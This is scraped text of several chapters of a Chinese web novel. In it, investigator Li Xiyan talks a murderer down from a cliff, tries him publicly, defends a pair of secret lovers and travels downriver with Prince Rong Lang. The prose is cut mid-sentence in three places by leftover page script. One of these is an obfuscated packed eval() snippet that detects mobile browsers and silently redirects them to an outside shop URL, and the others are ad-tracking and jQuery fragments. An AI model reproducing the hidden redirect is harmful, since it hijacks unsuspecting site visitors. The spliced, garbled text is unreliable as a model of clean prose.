关风和哪里不知道她的性子。 “谦虚了,不是老家的地儿你不也有窝吗?” 从来不愿意漏财的李希言岔开话题。 “再过几日就送人过去,你有空,今晚就去卫川那里帮忙。” 关风和起身拍了一下她的肩膀:“知道了!不揭你的底了!” “随手关门。” 关风和啧啧两声,大摇大摆地离开了。 脚步声消失,李希言才挪开手札上用来遮掩的书,继续提笔。 然而,被打断了思路,她脑子有些空白,手上的笔有些发抖。 情与法…… 父母之命媒妁之言…… 滥用私刑倒是好办,只需要加强监察即可。 抓几个典型重罚,杀鸡儆猴。 可是…… 这自古以来的规矩哪里有这么好破。 还有今日谢荣所言。 妻告夫,徒二年。 思绪纷飞,李希言不由将心中所想宣之于口。 “‘诸殴伤妻者,减凡人二等;死者,以凡人论。殴妾折伤以上,减妻二等……’” “李少使在背律例?” 门口的声音让李希言惊慌了一瞬。 “我可以进来吗?” 是容朗。 李希言放下心:“请进。” 容朗推门而入,腰间环佩作响。 “我找李少使有事商议。” 李希言别过眼:“何事?” 这人怎么又换了一身衣裳…… 容朗自来熟地坐到她旁边的圆凳上。 “是那孩子的事情。他这次在路上肯定是要制造诸多麻烦,到时候还请李少使多担待。” 瑞王是个麻烦精这件事情,李希言已经习惯了。 而且她才不会担待。 只是嘴上到底不能这样说:“我明白。” 容朗本来就只是想找她说说话,让她习惯自己的存在和亲近。 此时就说起了闲话。 “我之前送李少使的香是不是味道有些太浓了?” “还好。” 容朗瞟到桌上的手扎,内容瞬间入目,他迅速收回视线。 “李少使在担心徐令诚的事情吗?” “只是授予官职解决不了他们的困境。” 容朗没有反驳,只笑道:“说到底只要势力足够强大,什么都不是问题。眼前的问题不难解,难在成法不可变。” “世间没有亘古不变的事物。”李希言古井无波的眼神下满是坚定。 区别只在于有没有人去改变而已。 “少使!”急促的脚步声在门外停下,方淳向来平稳的声音很是慌乱,“人跑了!” “什么!”李希言霍然起身,呼吸都急促了几分。 她冲出门,方淳耷拉着脑袋:“那人太警觉了。看他放下东西后,我们还没动手就被他察觉了,现在人跑到了山上,关姐已经追过去了。” 李希言握住刀:“带路!” 慈光寺敲响的钟声远远传来。 这座小山叫做福山,就在慈光寺的旁边。 两地距离很近,近到能够看得清慈光寺后山的情况。 山上的杂草很深,已经在人的小腿处轻拂,麻酥酥的痒意让李希言更加心烦意乱。 关风和迎面走来,脸上满是汗:“找了许久,连影子都没见着!这人也太能藏了!” 李希言环顾这座小山。 山上植被茂密异常,可见平时并无人烟。 他会去哪里呢? 这样的人,会躲在哪里? 一个想法突然冒了出来。 李希言向前踏出一步:“去山顶!” 那里有悬崖。 关风和不解:“山顶上光秃秃的,他躲在那里也太显眼了吧?” “万一,他不是为了躲呢?” “不是为了躲是为了什么?” 容朗凝眉:“你是怕他寻死?” “他或许不认为那是寻死。” 李希言阔步走在最前面,脚步飞快。 去晚了就糟了! 幸好,通往山顶的路还算平坦。 一行人不过走了不到半个时辰就到了山顶。 一个瘦长的背影就在眼前。 所有人停住了脚步。 那人就站在悬崖边上。 甚至不用抬脚前进一步,只需轻轻向前倾身就会坠下。 夏日的晚间,山风阵阵,鼓动着他的衣袍。 那人背影微动,转过身来。 是一个五官端正的中年男子,看上去四十几岁的模样,面容清秀,却留着一把大胡子。 “余绍。”李希言叫出了他的名字,“不要做傻事。” “李少使果然发现是我了。”余绍轻笑,“今晚发现有人跟踪我的时候,我就知道被你发现了。不愧是你啊。” 他的身影晃了晃,像是马上要坠落下去一般。 李希言紧张得头皮都在冒汗,声音都有些颤:“你先过来。” 余绍摇了摇头。 “悬崖之下还是退回一步,与我而言,都是同样的结局。” 月初升,没有云层遮挡的月光越发的白,像是白日的阳光。 只是,月光是冷的。 余绍脸上是一片惨白的月光。 “我已经没有退路了。” “你是没有退路,但是你还有前路!”李希言借着说话的功夫吸引他的注意,脚下悄悄向前移动了几步。 “李少使。”余绍自嘲一笑,“我的手上已经沾满了鲜血。哪里来的前路?” 关风和忍不住喊了一句:“你有功,不一定会死!” “不是这个问题。”余绍摇了摇头,“我不想活在阴影之下,不想再过这种见不得光的日子。” 他躲了这么多年,已经足够痛苦。 李希言问道:“什么叫做见不得光的日子?” “李少使。”余绍语重心长,“你不懂的,犯了罪的人,手上沾了血的人,是睡不着的。我太痛苦了,不愿意再痛苦下去。” “你说错了。” “错了?”余绍像是听到了什么笑话一样。 “只有承担罪责你才能坦坦荡荡活下去。你知道张岫吗?” 余绍神色微动。 谁人不知那位女大夫张岫? 十几年前一场瘟疫之中,张岫的丈夫得了瘟疫去世,死前嘱咐张岫将其解剖以研究瘟疫破解之法。 张岫解剖了她的丈夫,也破解了那一场瘟疫。 这本是好事。 然而,当时在位的先帝昏庸听了小人之言,竟然判张岫斩刑,其子流刑。 后,在当时的大皇子也就是如今的皇帝力劝之下,二人皆改判流刑。 见对方表情松动,李希言继续说道:“张大夫母子虽然因为小人作梗,在流放之地被害。但是在流放之后,她依旧行医问诊,日夜不辍。只要人还活着,你就有无限的可能。” 她喘了口气,伸出手。 “你应该是想活着的吧?你还有想要做的事情吧?” 银白的月光落在手上,被沾染上几分温度。 余绍伸出手握住这这缕光,双眼淌出两行热泪。 “我,认罪。” 余绍被关入大牢。 李希言问完话还是没完全闲下来。 她随着苗青吩咐:“明日,贴告示,公审此案。我之前让你请来的人都请来。” 苗青点头:“属下明白,只是就怕明日……韦家人……” 容朗的身影忽然出现在不远处。 李希言不由露出一个极浅的笑来:“长乐王在。” 苗青心中警铃大作,嘴上却只敢应道:“也是,那……属下送您回去?” 李希言斜睨了他一眼:“你说什么?” 她都有点儿怀疑是不是自己耳朵出了问题。 这是觉着她需要护送? 苗青看着前面“狼子野心”“心怀叵测”的容朗,暗自咬牙。 这让他怎么找理由啊! 这明显就是来蹲他们少使的! 这些皇室子弟,太心机了。 李希言摆手:“快去办事吧,办完早点休息。” 她只当做这位手下脑子抽抽了。 唉! 苗青只能强逼着自己别过头。 “属下告退!” 果然,如苗青所料,他前脚走,容朗就“飘”了过来。 “今晚真是辛苦李少使了。” “不辛苦。” “李少使这是要回房吗?我和李少使顺路一起?” 这个理由比“护送”正常很多。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759923|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希言点了点头。 “王爷,请。” 容朗眼睛暗了暗。 好客气…… “李……夫子……”从树后面冒出来的瑞王让容朗眼神更暗了。 这个破侄子能扔掉吗! 李希言头皮发紧。 “什么事?” 瑞王挨挨蹭蹭走过来。 “我想问你个事儿。” “说。”李希言一脸淡定,手却已经摸上了刀柄。 “那个……你怎么知道凶手是余绍的?不是都以为他死了吗?你怎么怀疑到他头上的呢?” 这个问题有些太复杂,李希言思量了一会儿才回答。 “首先,尸体的发现并非偶然……” “为何?”容朗歪了歪头。 “地锦草。发现尸体的和尚说他是看见了两根地锦草在地上,去拔草的时候发现的尸骨。但是,地锦草是成片生长的,可见这是凶手故意为之。” 瑞王伸长脖子:“可是这和余绍有什么关系?” “那时我并未怀疑凶手是余绍。是后来那个牌子送来的时候我才如此猜想。” 容朗问道:“牌子?是慧空送来那个孙边的牌子吗?” “是。那个所谓埋在土里的木牌十分干燥。我看,那牌子根本不是慧空捡到的,而是余绍当时通过什么手段让慧空转交的。” 瑞王有些震惊:“这样说……那个老和尚岂不是撒谎了?他干嘛那么听余绍的话啊?” “余绍刚刚交代的,他告诉慧空确认了死者身份,找到真凶,徐令诚就能洗脱嫌疑。慧空没有理由不听从他。也就是这个牌子,说明了凶手是一定要向我们揭示死者真实身份的。凶手先是将死者伪装成余绍,再揭露尸骨的真实身份,只是为了引导我们去发掘当年之事,好牵扯出高修。” 容朗迷惑:“那这样做,他反而暴露了他的目的。何必多此一举?即使只查余绍之事我们也能扯出高修。” “你忘记了一点。一开始,余绍并不知道我们会来。他最开始的计划并不是如此,他只想恐吓高修。” “恐吓?”瑞王挠头,“这有什么吓人的?” 李希言无语。 容朗帮忙解释道:“你想想,在高修看来,余绍的尸骨应该在悬崖下,如今却在慈光寺中。而孙边又在约他出门商议‘旧事’后失踪,这像不像是有鬼?” “是哦。”瑞王忽然一拍脑袋,“等等啊!那具悬崖上的尸体又是谁的!” “哪里的尸体最多?” “呃……”瑞王搓了搓胳膊,“乱葬岗?” 容朗摇头:“是验尸房,余绍能接触到的只有验尸房。” “没错,验尸房那里可是有不少无名尸体,不仅如此,验尸房还有技艺高超的仵作!于姚堂而言找一具能冒充余绍的尸体,不难。若是真是如此,那余绍和姚堂的关系可就是过命的交情了,再加上重要的还有一件事。” 叔侄俩听得入迷,异口同声。:“什么?” “那个能把尸体变成尸骨的虫子。余绍作为他的好友,能够拿得到虫子也熟知虫子的用法。倒推回去,拥有余绍的随身物品,能够引得孙边高修出门,还能使用虫子。除了他,没有人能同时满足这些条件。” 瑞王呆住:“怎么想到的啊……” 李希言见缝插针:“改掉你马虎的毛病你也行。” “老说我……” 容朗拍他的头:“问完问题就该回去了。” “怎么老打脑袋……” 看瑞王垂着头的样子,李希言开了个玩笑:“再不回去就要被老猫猴捉去吃了。” “老猫猴是什么?” 李希言沉声道:“猫头人身,红眼睛绿鼻子,专门掏小孩儿的心肺。” 瑞王撇嘴:“我又不是小孩子,不就是毛鬼神吗?李夫子吓人把妖怪的名字给记错了。” “这是沧州的说法。”容朗敲了他一记。 “咦?”瑞王的脑袋就像是被敲通了一样,“李夫子你不是京城的吗?怎么会说沧州这边的话呀!” 容朗急着赶他走抢过话头:“别人老家是沧州的,有什么好奇怪,快回去。” 瑞王“哦”了一声,慢悠悠走了。 “知道下官老家是沧州才很奇怪。”李希言忽然说道。 “啊?”容朗干笑一声,“是吗……” 李希言脸上笑着,眼神却很冷。 就连关姐也才是最近才知道她老家是沧州的。 他,不应该知道。 容朗哪里不知她已对自己生出疑心,连忙找补:“我听哥哥说的。” “陛下么?”李希言扯了扯嘴角,“原来陛下喜欢和自己的弟弟谈论臣子的私事?真有趣。” “李……” 还不等容朗继续解释,李希言扭头就走了。 被扔在原地的容朗悲愤极了。 都怪那个臭小子。 他捏紧拳头,掉转方向,往瑞王的院子走去。 28. 慈悲 “听说了吗?前段时间说的那个和尚杀人的案子,凶手不是那个和尚!” “我就说自来小师父不是那样的人吧!” “不是自来,那凶手是谁啊?” “余绍,死了的那个余绍。” “你在讲什么鬼话!什么余绍?什么死了?” “县衙今日公审,去看看不就知道了吗?” “绣衣司的人审啊……我有点怕……” “别人又不是吃人的老虎!” “对啊,从来没听说过绣衣司对我们这些平头百姓做过什么。” “那……走吧?” “快点!去晚了就挤不到前面了!” 眼看着围观的人足够多,李希言才敲响了惊堂木。 “带,余绍上堂。” 余绍精神竟比昨晚看上去要好上几分。 他不卑不亢地走上堂,跪下行礼:“罪民余绍见过王爷,见过李少使。” “态度不错,起来回话。” “是。” “你为何要杀孙边?” “五年前,孙边、高修与谢荣合谋,勾结按察御史王启,将伪造账本的罪名栽赃到罪民头上。罪民察觉后,立即逃跑,盗窃了一具无名尸体,伪做自己跳崖的假象才躲过了一劫。之后,罪民就计划报复三人。” 对于他没有提姚堂的事情,李希言没有追问。 “你是如何杀的孙边?” “罪民伪造高修的字迹以当年旧事为诱饵引诱他出城,在城外约定好的地方将他迷晕带去了慈光寺后山。没想到,药下得不够,刚到后山,他就醒了。我和他在搏斗时,将他按在池塘里淹死了。” “你当时淹死他的姿势具体是怎样的?” 余绍想了许久:“一只手从背后捏着他的脖子往下压,一只手按住他的手臂。” 李希言看向姚堂。 姚堂会意:“死者颈部柱骨第五节一处骨折,左手小臂有两处骨折,左手小指节也有一处骨折应该就是那时造成的。” “继续。” “杀了孙边后,我先拔下他的一颗牙,将他的尸体连同我的蹀躞带连同水壶、公验、笔、针筒、火石袋、碎银埋下。又将一种会食腐肉的虫子放入就离开了。 “为何现场没有找到任何那种虫子的痕迹?” “那些虫子本就是长于自然中,吃完了,它们自己会离开。我的计划原本如此,只是后来我恰巧看见了李少使来县衙,就变了计划。” “你原来的计划是什么?” “我这个人没什么气力。三人中,我只能杀害孙边。我原本是想要吓一吓高修,再伺机除掉他们……可是知道李少使来了,我才觉得有了可以揭发他们罪行的可能。于是,我先把孙边的香囊放在了尸骨附近,没想到高修偷偷拿走了香囊。之后我又将他的令牌放到尸骨附近,好让你们察觉尸骨的真实身份,好引出当年之事。” 李希言挥手让人将证物带上来。 “是这些东西吗?” 余绍扫了一眼:“是的,我的蹀躞带和上面的东西只我有。” 李希言一拍惊堂木。 “东曲县户房司吏余绍杀东曲县现任户房司吏孙边,证据齐全,本人亦对其罪行供认不讳。按律例,‘谋杀人,已杀者,斩。’但念其检举东曲县县令贪墨有功,特判余绍流放两千里。” 余绍干脆利落地磕了一个头:“罪民认罚。” 原本安静的人群有人长舒一口气:“嗨呀!没判斩刑呢。” “是呢,这个女官儿判罚还挺讲人情的,普通的流放,六年就能回来呢!” “嘿!京城的官儿断案子和咱们这儿原来可不一样,把证据什么都摆出来看,还把根据哪条律法判的都给说清楚了。” “我看啊,是谢荣本来就是个糊涂官,这规矩本来就是如此。” 人还未散去。 突然,一群大汉直直冲了过来。 正说着话的百姓被吓得直躲,给来者让开了一条路。 来了。 李希言坐直了些。 “来者何人?” 一对穿着富贵的老人从大汉身后缓步而来。 男的长得很是威风,阔脸浓眉,女的生得端庄,一脸冷淡之色。 “老夫韦良言。”韦良言背着手,昂着头,一脸倨傲。 李希言一脸冷漠:“你觉得本官应该认识你?” “哪里来的无名小卒?真是令人发笑。”容朗起身,不屑地扫了一眼,“见李少使不行礼,见本王也不行礼。韦家的破落户亲戚,还真是有教养。” 韦家夫妇也不傻,敷衍行了一礼将事情搪塞过去。 “见过王爷,见过李少使,老夫不过是年纪大了,才一时疏忽,王爷别动气啊。” 容朗坐下,翘起腿:“五十岁,也不是快死的年纪。” 好利的嘴! 韦良言被骂得老脸一红,不敢再回嘴,只对着李希言发难。 “老夫虽然已经致仕,但是还是心忧百姓,所以今日前来旁观李少使断案。然,李少使今日这案子有些怪。” “哪里怪。” “此案原本的嫌犯罪名可洗脱了?”他一下指向了站在一边的徐令诚,“此人当时说不清自己的去向,说不定就是同谋,不然就凭余绍一人,是怎么把尸体藏在慈光寺的?余绍又为何非要将尸体藏在慈光寺?” 李希言神色未动:“余绍,解释给他听吧。” “罪民这些年来一直栖身于慈光寺附近的山中,那里可以最直接地观察到慈光寺的后山。罪民发现慈光寺晚上几乎无人,所以才选择了慈光寺后山作为埋尸地点。自来每晚都是寅时出来,卯时回去。罪民是在此之前完成作案的。” 徐令诚点头:“确实如此。” 韦良言笑容阴冷:“按照李少使办案的方式,既然这桩桩件件都要清楚明白,那自来每晚出去到底是干什么去了?” 太毒! 李希言虽然做了打算,但是怎么也没有想到这个韦良言竟然连自己的女儿都不顾。 他是想以韦鸢的名声为威胁,逼着徐令诚认罪! 韦夫人面色微变,眼里带着恳求:“夫君……我们……” 她话未说完,韦良言就一眼横了过来。 韦夫人嘴巴张了张,很快又垂下了头,不敢再说。 “我晚上去做什么,与案情无关,无需交代。”徐令诚沉住气,向来温和的眼神带上几分恨意。 “怎么无关?”韦良言死咬不放,“余绍偏偏把尸体埋在慈光寺,你又偏偏每晚都要出去,说你不是同谋也只是一面之词。” 徐令诚咬着牙,无法回答。 “怎么?”韦良言故作惊讶,“到底是什么见不得人的事让你这样都无法对人明言呢?” “韦良言!”徐令诚冲上去一把揪住了他的衣领。 他不死,鸢儿这辈子都不得安宁! 还不等李希言开口,容朗就拉开了他。 此人心思阴毒,不能留把柄在其手中。 “我知道他在做什么!”轻柔的女声满是坚定。 韦鸢冲了进来。 徐令诚将即将开口的呼喊死死压下去。 被韦鸢挣脱开的关风和慢了一步追上来。 “没拦住……” 韦鸢今日已经穿回了世俗人的衣裳,只有头上的灰扑扑的帽子证明着她的身份。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “是个尼姑!” 有人惊呼。 韦鸢不为所动,清亮的眼神直直看着李希言。 “自来,也就是徐令诚那晚如同往常来尼姑庵帮我做活儿,给我送吃食,他并未杀人。” 人群一下炸开。 “这和尚和这尼姑……” “难怪不肯说……真是冒犯佛祖……” …… 议论声刺耳,愈发不堪。 韦鸢还是笔直地站着,面色如常。 她没有错。 徐令诚走了过去,站在她的身边。 “发乎情,止乎礼。我们二人是真心相爱,从未越过雷池一步。” 韦鸢说道:“我是大户人家出身,才到尼姑庵的时候,做不了那些粗活儿,徐郎每日凌晨前偷偷跑来帮我的忙。” 韦家夫妇脸色已经黑透。 这和他们预想的不一样。 自己这个金尊玉贵的女儿怎么会……如此无法拿捏。 “好了。”李希言是真的动了气。 她见过不少父母,为了攀权富贵嫁女儿的不少。 可是,这些人中,有的只是为了女儿活得好一点,也算是能理解。 这事情却不同。 徐令诚人品端正,前途也不差,最主要的是一心一意对着韦鸢。 韦家夫妇却如此赶尽杀绝! “韦郎君和韦夫人满意这个答案吗?”李希言冷声道,“满意了就退下吧。” 韦良言犹嫌不足:“破坏清规戒律,不该罚吗?徐令诚在佛寺这样的地方引诱女子,如此冒犯佛祖……” “闭嘴!”容朗忍无可忍,“你这样的人也敢妄言佛祖!” “清规戒律乃是佛教的规矩。”韦良言高呼佛号,“阿弥陀佛。老夫只是见不得有人坏了佛寺的规矩。” 视线内,一个人影的出现,让李希言心中一动。 “佛寺的规矩,自然是该佛寺的人来说。慧空大师……” 众人皆惊。 向后看去。 慧空一步步走了进来。 “希言师侄,老衲有礼。” 慈光寺在本地已百年有余。 慧空医术高超,常年在寺庙中开设义诊,施药于百姓。 对他,没有人不信服。 议论声骤停。 李希言:“慧空大师,您对此有何看法?” 慧空双手合十,长眉低下。 “我佛慈悲。” 苍老的声音安抚了躁动的人们。 “给无量的众生得乐乃是慈,拔无量众生之苦乃是悲。这两个孩子因世俗之故,受离散之苦,为何不慈悲为怀成全他们?消减他们的苦呢?自来到的第一日,老衲就知道他是为何而来,所以未给他受戒,他也算不得违背了什么清规戒律。” 他话音一落。 人群中就有人说道:“上次我娘去庙里上香崴了脚就是自来师父给背下来的。” “我儿子那日高热,也是自来师父……” …… 事情如李希言所计算的发展了下去。 “刚刚,韦家藐视公堂的罪责本官就不追究了。就算陛下让本官可以代天子行事,本官也不能够妄造杀孽。” 明晃晃的威胁。 韦良言脸色铁青,一甩袖子就走了,没有看韦鸢一眼。 只有韦夫人还是忍不住窥向自己的女儿。 “还不快走!”韦良言失了往日的风度,站在不远处,恶狠狠地盯着韦夫人。 韦鸢背过身去。 韦夫人嘴唇动了动,终究还是走了。 她的命已经由不得自己了,她希望她女儿不要如此。 29. 顺流而下 事情安顿完。 众人准备上船离开。 已经换回了平常衣裳的韦鸢和徐令诚手里拎着大包小包的东西,在码头送行。 “不是什么贵重东西,都是沧州特产。各位拿着在船上当零嘴吃,解个闷。” 李希言低头一看。 确实都是沧州的土产。 她也不多推辞,直接收下。 “在下却之不恭。” 韦鸢一双眼睛亮晶晶的,双颊飞上红云,拿出一个精致的香囊:“这是我为李少使绣的,请李少使收下。” 香囊上绣着花卉和五毒。 这样细致的活儿可不是几日能够做出来的。 二人不过相识几日,怎么会…… 徐令诚见状笑道:“鸢娘一直很钦慕李少使……” 韦鸢脸一下就红透了,掐了他一下:“徐郎!” “好好好,我不说了。”徐令诚笑着握住她的手。 苗青:少使的女人缘还是那么好…… 生平第一次被人说钦慕,李希言动作都有些僵硬。 “多谢。” 她说完就郑重地把将香囊系在腰间。 “韦娘子手艺极好。” 韦鸢双手合十:“愿李少使平安顺遂。” 李希言不由露出一个极浅的笑,点了点头又问道:“你们二人之后可有何打算?” 韦鸢语气轻快:“我们俩有些积蓄,准备换个地方过日子。” “换个地方?”一直站在旁边没出声的容朗忽然开口,“徐郎君不愿意做官?” 徐令诚笑得豁达:“我如今怕是做不了官了,还不如寻个安生地方,与她相守一生。” 即使有慧空大师之言,也免不了被议论。 他是无所谓,可是他不能让鸢儿被议论。 容朗故作失望:“那本王的通判可就没人来做了。” 他前几日就写了信给皇帝为徐令诚讨要了这个官职。 皇帝还记得这个才子,当即允准。 徐韦二人欢喜得一时呆住。 李希言提醒道:“还不快谢过王爷。” 二人立即回过神。 “谢过王爷。” 徐令诚自幼苦读诗书,要说是不想做官那也太假了。 他声音都有些发颤:“在下定然不辜负王爷的好意。” “我信你。”容朗掏出一封书信,“沧州的事情复杂,你到了地方,记住,只能相信薛长史。” 徐令诚何等机敏,一下明白了他语中之意。 “在下明白了。” 远处,一个罩着斗篷的妇人痴痴地望着码头方向,她的身边停着一顶青布轿子,站着几个东张西望的仆人。 李希言心中暗叹一口气。 “韦娘子,你母亲来了。” 韦鸢脸上的笑容一滞,泪水夺目而出。 “去看看她吧,我想她也有苦衷。”李希言看得出来,韦鸢的母亲心里还是在乎这个女儿的。 韦鸢却不动了。 “我不知道……该怎样面对她……” “鸢儿。”徐令诚握紧了她的手,轻声哄着,“你母亲应该只是不放心你而已。我们一起去把以后的打算都和她说清楚,让她也放心,好不好?” 韦鸢缓缓点头:“好。” 船上传来两声鼓声。 “要开船了——” 瑞王穿着一身绣衣使的衣裳闷闷地坐在大厅内,眼神止不住地往外瞟。 甲板上很热闹。 关风和与卫川等人围在一起玩叶子戏。 方淳和苗青坐在近水处垂钓。 还有几个围在一起摆弄着自己的武器,不知道在嘀咕什么。 他收回视线,看了看房内。 死气沉沉的女阎罗和背信弃义的小叔叔面对面下棋。 “蛇鼠一窝,狼狈为奸……” “你骂出声音了。”李希言顺手把靠枕准确无误地砸在了瑞王的怀里,“字可练完了?” 瑞王抱住靠枕,挺起胸膛:“早写完了!” “哦,出去玩儿吧。” 瑞王不敢动了。 这不对劲! 往日检查完课业后还会拖许久才让他放风。 肯定是有什么阴谋诡计! 李希言端起茶盏:“我数三声,不想去就再把……” 她话还未说完,瑞王就窜了出去。 自由!我来了! “还是个小孩儿。”容朗有些忧虑。 他在他这么大的时候可都在辅助自己的哥哥处理政事了。 微微摇晃的船只让人分外轻松。 李希言难得玩笑:“陛下身体还很好。” 足够等到这位小殿下长大。 “也是。只是李少使今日不磨磨他了吗?” “看着心烦。”李希言直言道,“不如打发他离远些。” 容朗向外一望。 正在撒欢的瑞王已经欢欢喜喜挤到方淳身边,闹着要看钓起来的鱼。 方淳一脸头疼,只求他小声些,别惊着鱼了。 “也不知道这孩子像谁,哥哥也好,嫂嫂也好,都是很稳重的性子。” 李希言定定地看着他。 眼神所含的意思很明显。 容朗气闷:“本王小时候很乖巧,才没他这么烦人呢。” 李希言垂下眼。 可信度不高。 容朗眯了眯眼:“李少使莫要不信,本王小时候可招人喜欢呢。就连……漂亮的小姐姐都说要娶我回家做媳妇。” 正在喝茶的李希言差点被呛死。 这么离谱的事情,长乐王还傻乐呵,炫耀似的讲出来。 容朗给她拍着背,眼神暗含怨气。 自己干的事全忘了!还惊讶啥! 过了好一会儿,李希言才缓过气。 她刚刚反应那么激烈是不是有点不好? “下官……失仪了。” 容朗笑得意味深长:“没有的事。” 哪里是失仪,你是失忆了! “对了。”李希言转移话题,“王爷怎么会想到任命徐令诚为通判?” 容朗如实道:“见他们二人如此坎坷,心中不忍。” 李希言也不禁想到了自己故去的友人。 若是她能有韦鸢的福气就好了。 可惜…… “只是为此吗?” “我确实有私心在。”容朗的声音小了些,“我这次虽然运气好捉到了渤海王的儿子,但是依我看,五王残存势力绝对不止这么一点。我需要一个身家清白脑子又够用的人帮我看着沧州。” 眼前的人,在说起正事的时候和平日里和气的模样完全不同。 一眼能见底的眼底遮着一层灰蒙蒙的阴霾。 这才是皇室子弟的真实模样。 李希言背上有些发凉。 “王爷说的是。” 容朗笑得眯起了眼睛。 姐姐,这是在夸——他! 和他想象中完全不一样。 李希言心中反而越发忌惮。 这人,变脸如翻书,时而坦诚如赤子,时而心机深沉…… 还没有丝毫伪装的痕迹。 高亢急促的鹰啸声忽然炸开。 “啊!” 老鹰叫得急了,甚至都发出了“嘎嘎”的声音。 就连不了解这种生物的容朗都察觉到这鹰啸声中滔天的怒气。 “破云!”李希言脸色微变,霍然站起。 二人循着声音快步出了房间。 甲板上一片慌乱, 只见甲板上,一只巨大的老鹰正在极低的地方慌乱的扑着翅膀。 方淳和瑞王跌坐在地,身边放着一支鱼竿。 二人撑着坐起,想要伸手去够什么。 其余人想要上前又不敢动, 李希言走近才发现二人身边的鱼竿上的鱼钩勾住了老鹰的脚。 她立即带上腰间的皮质手套,伸出手。 “破云,冷静!” 她一出声,老鹰扑腾翅膀的动作都和缓了不少。 “来,过来,我给你解开。” 老鹰低低叫了一声,飞到她的胳膊上站好。 “乖,别动啊。”李希言低声安抚。 “咕咕。”老鹰抬起自己受伤的脚。 显而易见是在告状。 李希言伸出右手给它拨开绕住爪子的线。 幸好,鱼钩并没有插到肉里,只是卡在了爪子上。 鱼线很细,缠绕起来很容易就会打结,而且细细的鱼线已经在鹰爪上留下了一道血痕。 李希言有些头疼。 她现在只腾得出一只手。 破云又受了惊吓,其他人根本就不敢靠近。 “我来吧。”容朗放轻了声音,伸出手想要帮忙。 让人意外的是,破云对他的接近就像没有反应似的。 李希言点头,空余的一只手抚上破云的头顶。 “麻烦你了。” 容朗小心翼翼地把鱼线一点点挑开。 即使破云没有丝毫动作,其庞大的身躯还是有点让人心底有些害怕。 容朗一边解开鱼线的结一边拿余光瞟着破云。 这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尖嘴利爪,跟刀子似的,被叨着脸就糟糕了。 这样想着,他手下的动作更轻了。 不过半刻钟,鱼线就只差一点点就被完全解下。 然而,就在此时,不知是不是因为最后在解一个结时扯到了哪里,破云长鸣一声,尖利的喙直奔容朗的手而来。 李希言一直观察着。右手立即往后一挥,左手则借势按住了破云。 容朗反应也不慢,向后退了一大步,抬起手挡住破云的攻击。 可是,鹰的速度太快了。 即使二人动作已经不慢了,容朗的手臂还是被尖利的鹰喙扯出一道血淋淋的伤口。 混乱之后,破云飞到了船舷上,侧开头,一副心虚的模样,像是知道自己伤了人一样。 李希言拉住容朗查看他的伤处。 伤口在他的左手小臂处,有两寸长,皮肉翻开,鲜血直涌。 绣衣使随身的药物不少,李希言掏出一瓶金疮药倒了上去,嘴上止不住道歉。 “破云性子野,冒犯王爷了。” 药粉一倒上伤口就发出滋滋的声音。 “没事,也不疼。”被她握住手臂的容朗已经发飘了,哪里还会觉得疼。 李希言见他面色还很红润,稍稍放下心来,转头问道:“是怎么回事?” 方淳上前解释道:“是我不好,今儿钓鱼的时候,一甩杆子就缠住了躲在后面的破云。” “不!是我!”瑞王虽然任性,但是不喜欢让别人背锅,他上前坦白道,“是我。我瞧见方校尉钓鱼好玩儿,就想试一试,没想到这个老鹰跟在那后面,才把它伤到了。李夫子,不是方校尉的错,你罚我吧。” 破云在绣衣司已久,它的习性众人都了解,方淳怎么会不小心伤着它。 “不是什么大事。”容朗回过神,“是我刚刚不小心弄疼它了,它才啄人的。” 伤者都不计较,李希言自然不再说什么。 旁观的卫川比了个大拇指,小声和苗青说道:“王爷真汉子啊,这药倒上去都不觉得疼,我第一次用这药疼得打滚呢。” 猜到内情的苗青表情扭曲。 明明就是色迷心窍。 卫川看他这副表情,拍他的胳膊:“你看着就觉得疼,是吧?我也这样觉得。” 完全被曲解了的苗青很想说出实情,但是又顾及到自己上司,憋得面红耳赤。 知道的太多果然不好。 深夜,李希言将皇帝的来信收好,面露凝重。 她直起身,推开书桌面前的窗户。 江风一股清凉,吹去了她的心事。 管他的,到了地方就知道怎么回事了。 她拿起手边瑞王写的课业,挑出几张装入信封准备给寄回京城。 也不知长乐王如何了。 无论如何,今日是破云闯了大祸。 于情于理,她还是去问问的好。 她环顾四周,从手边的匣子里拿起一瓶药,走了出去。 容朗的房间就在她的隔壁。 笃笃—— “何人?”容朗的声音四平八稳,带着些许的不耐。 “是我。” “啊?”容朗的语气陡然一变,变得轻快不少,“你等一等!” 隔着门,都能听见里面突然响起的翻箱倒柜的声音。 李希言疑惑。 这是在做什么? 站了一刻钟,房门才打开。 一股暖甜的香气扑面而来。 李希言眼前一片白,鼻翼微动。 这个味道…… 还带着辛辣的香气,一闻到就让人心思躁动。 她抬起头。 只见容朗头发半散,一身月白微透的纱袍穿得松松垮垮,衣领敞开,不需要刻意就能看见形状漂亮结实的肌肉。 伤风败俗! 李希言扭过头,拉开二人的距离,拿出药瓶,语气硬梆梆的。 “绣衣司的药不错,请王爷笑纳。” 容朗逼近几步,接过药瓶。 “李少使的药确实很有用……” 他话未说完,李希言就急着说道:“我就不打扰王爷休息了。” 容朗的动作更快,直接堵住她的去路:“我有正事要和李少使说。” 再一次把风光尽收眼底。 李希言再次移开视线:“王爷请讲。” “进去说吧。”容朗微微俯身,借机将衣领敞得更开,“机密要事。” 如同喃语一般,和着暖甜的香气。 李希言耳朵有些烫。 机密要事。 她只能硬着头皮:“好。” 30. 观音 关上门窗。 暖甜的香气愈发的浓。 李希言心底生出一股焦躁之意。 “来,李少使喝茶。”容朗这才将衣领拢好,给李希言倒上一盏茶,“是花茶,安神的。” 李希言抿了一口,松了口气,随口赞道:“味道不错。” 费了好一番心思的容朗心里立时雀跃了起来。 